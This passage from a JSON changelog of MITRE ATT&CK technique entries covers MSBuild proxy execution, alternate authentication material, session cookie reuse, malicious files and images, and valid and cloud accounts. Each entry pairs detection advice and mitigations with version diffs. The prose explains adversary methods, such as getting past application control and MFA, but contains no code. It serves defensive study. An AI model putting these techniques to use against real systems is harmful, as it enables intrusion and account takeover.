"DS0033: Network Share (Network Share Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-27 21:50:26.042000+00:00", "modified": "2021-10-15 23:57:07.973000+00:00", "name": "MSBuild", "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1127/001", "external_id": "T1127.001" }, { "source_name": "MSDN MSBuild", "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", "url": "https://msdn.microsoft.com/library/dd393574.aspx" }, { "source_name": "Microsoft MSBuild Inline Tasks 2017", "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.", "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element" }, { "source_name": "LOLBAS Msbuild", "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "@ionstorm", "Carrie Roberts, @OrOneEqualsOne" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_system_requirements": [ " .NET Framework version 4 or higher" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 23:57:07.973000+00:00\", \"old_value\": \"2021-03-05 22:25:48.777000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"@ionstorm\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1042: Disable or Remove Feature or Program" ], "new": [ "M1038: Execution Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-30 16:18:36.873000+00:00", "modified": "2021-10-17 14:15:31.630000+00:00", "name": "Use Alternate Authentication Material", "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550", "external_id": "T1550" }, { "source_name": "NIST Authentication", "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.", "url": "https://csrc.nist.gov/glossary/term/authentication" }, { "source_name": "NIST MFA", "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.", "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication" }, { "source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Web Credential: Web Credential Usage", "Application Log: Application Log Content", "User Account: User Account Authentication", "Active Directory: Active Directory Credential Request" ], "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "Office 365", "SaaS", "Google Workspace", "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:15:31.630000+00:00\", \"old_value\": \"2021-04-14 18:09:47.427000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"IaaS\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0006: Web Credential (Web Credential Usage)", "DS0015: Application Log (Application Log Content)", "DS0026: Active Directory (Active Directory Credential Request)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-30 17:48:49.395000+00:00", "modified": "2021-10-12 14:22:09.650000+00:00", "name": "Web Session Cookie", "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/004", "external_id": "T1550.004" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/60.html", "external_id": "CAPEC-60" }, { "source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" }, { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jen Burns, HubSpot", "Johann Rehberger" ], "x_mitre_data_sources": [ "Web Credential: Web Credential Usage", "Application Log: Application Log Content" ], "x_mitre_defense_bypassed": [ "System Access Controls" ], "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Office 365", "SaaS", "Google Workspace", "IaaS" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 14:22:09.650000+00:00\", \"old_value\": \"2021-04-14 13:21:37.474000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"Jen Burns, HubSpot\", \"root['x_mitre_platforms'][3]\": \"IaaS\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0006: Web Credential (Web Credential Usage)", "DS0015: Application Log (Application Log Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-08-26 16:42:35.936000+00:00", "name": "User Execution", "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1204", "external_id": "T1204" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Oleg Skulkin, Group-IB" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Instance: Instance Start", "Instance: Instance Creation", "Image: Image Creation", "Command: Command Execution", "Container: Container Start", "Container: Container Creation", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "File: File Creation", "Process: Process Creation" ], "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS", "IaaS", "Containers" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-26 16:42:35.936000+00:00\", \"old_value\": \"2021-04-20 16:34:09.236000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1021: Restrict Web-Based Content", "M1031: Network Intrusion Prevention", "M1038: Execution Prevention", "T1204: User Execution Mitigation" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0007: Image (Image Creation)", "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0030: Instance (Instance Creation)", "DS0030: Instance (Instance Start)", "DS0032: Container (Container Creation)", "DS0032: Container (Container Start)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-11 14:49:36.954000+00:00", "modified": "2021-07-21 23:10:47.193000+00:00", "name": "Malicious File", "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1204/002", "external_id": "T1204.002" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation" ], "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-21 23:10:47.193000+00:00\", \"old_value\": \"2020-03-11 14:55:56.177000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1038: Execution Prevention" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0022: File (File Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-30 17:20:05.789000+00:00", "modified": "2021-08-26 16:42:35.318000+00:00", "name": "Malicious Image", "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1204/003", "external_id": "T1204.003" }, { "source_name": "Summit Route Malicious AMIs", "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.", "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/" }, { "source_name": "Aqua Security Cloud Native Threat Report June 2021", "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Center for Threat-Informed Defense (CTID)", "Vishwas Manral, McAfee" ], "x_mitre_data_sources": [ "Container: Container Creation", "Container: Container Start", "Command: Command Execution", "Image: Image Creation", "Instance: Instance Creation", "Instance: Instance Start", "Application Log: Application Log Content" ], "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "IaaS", "Containers" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-26 16:42:35.318000+00:00\", \"old_value\": \"2021-04-12 17:54:08.797000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\\n\\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)\", \"old_value\": \"Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\\n\\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\\n \\n-Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).\\n+Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Aqua Security Cloud Native Threat Report June 2021\", \"description\": \"Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.\", \"url\": \"https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may rely on a user running a malicious image to t1Adversaries may rely on a user running a malicious image to 
>facilitate execution. Amazon Web Services (AWS) Amazon Machi>facilitate execution. Amazon Web Services (AWS) Amazon Machi
>ne Images (AMIs), Google Cloud Platform (GCP) Images, and Az>ne Images (AMIs), Google Cloud Platform (GCP) Images, and Az
>ure Images as well as popular container runtimes such as Doc>ure Images as well as popular container runtimes such as Doc
>ker can be backdoored. Backdoored images may be uploaded to >ker can be backdoored. Backdoored images may be uploaded to 
>a public repository via [Upload Malware](https://attack.mitr>a public repository via [Upload Malware](https://attack.mitr
>e.org/techniques/T1608/001), and users may then download and>e.org/techniques/T1608/001), and users may then download and
> deploy an instance or container from the image without real> deploy an instance or container from the image without real
>izing the image is malicious, thus bypassing techniques that>izing the image is malicious, thus bypassing techniques that
> specifically achieve Initial Access. This can lead to the e> specifically achieve Initial Access. This can lead to the e
>xecution of malicious code, such as code that executes crypt>xecution of malicious code, such as code that executes crypt
>ocurrency mining, in the instance or container.(Citation: Su>ocurrency mining, in the instance or container.(Citation: Su
>mmit Route Malicious AMIs)  Adversaries may also name images>mmit Route Malicious AMIs)  Adversaries may also name images
> a certain way to increase the chance of users mistakenly de> a certain way to increase the chance of users mistakenly de
>ploying an instance or container from the image (ex: [Match >ploying an instance or container from the image (ex: [Match 
>Legitimate Name or Location](https://attack.mitre.org/techni>Legitimate Name or Location](https://attack.mitre.org/techni
>ques/T1036/005)).>ques/T1036/005)).(Citation: Aqua Security Cloud Native Threa
 >t Report June 2021)
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1031: Network Intrusion Prevention", "M1045: Code Signing", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0007: Image (Image Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0030: Instance (Instance Creation)", "DS0030: Instance (Instance Start)", "DS0032: Container (Container Creation)", "DS0032: Container (Container Start)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:00.645000+00:00", "modified": "2021-10-19 03:29:48.018000+00:00", "name": "Valid Accounts", "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078", "external_id": "T1078" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/560.html", "external_id": "CAPEC-560" }, { "source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" }, { "source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jon Sternstein, Stern Security", "Yossi Weizman, Azure Defender Research Team", "Netskope", "Mark Wee", "Praetorian" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Metadata", "User Account: User Account Authentication", "Logon Session: Logon Session Creation" ], "x_mitre_defense_bypassed": [ "Firewall", "Host intrusion prevention systems", "Network intrusion detection system", "Application control", "System access controls", "Anti-virus" ], "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", "x_mitre_effective_permissions": [ "User", "Administrator" ], "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 03:29:48.018000+00:00\", \"old_value\": \"2021-04-12 18:27:52.298000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][0]\": \"Jon Sternstein, Stern Security\", \"root['x_mitre_data_sources'][0]\": \"Logon Session: Logon Session Metadata\"}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "changelog_mitigations": { "shared": [ "M1013: Application Developer Guidance", "M1026: Privileged Account Management", "M1027: Password Policies", "T1078: Valid Accounts Mitigation" ], "new": [ "M1017: User Training" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0028: Logon Session (Logon Session Creation)", "DS0028: Logon Session (Logon Session Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-13 20:36:57.378000+00:00", "modified": "2021-10-18 17:48:05.659000+00:00", "name": "Cloud Accounts", "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { 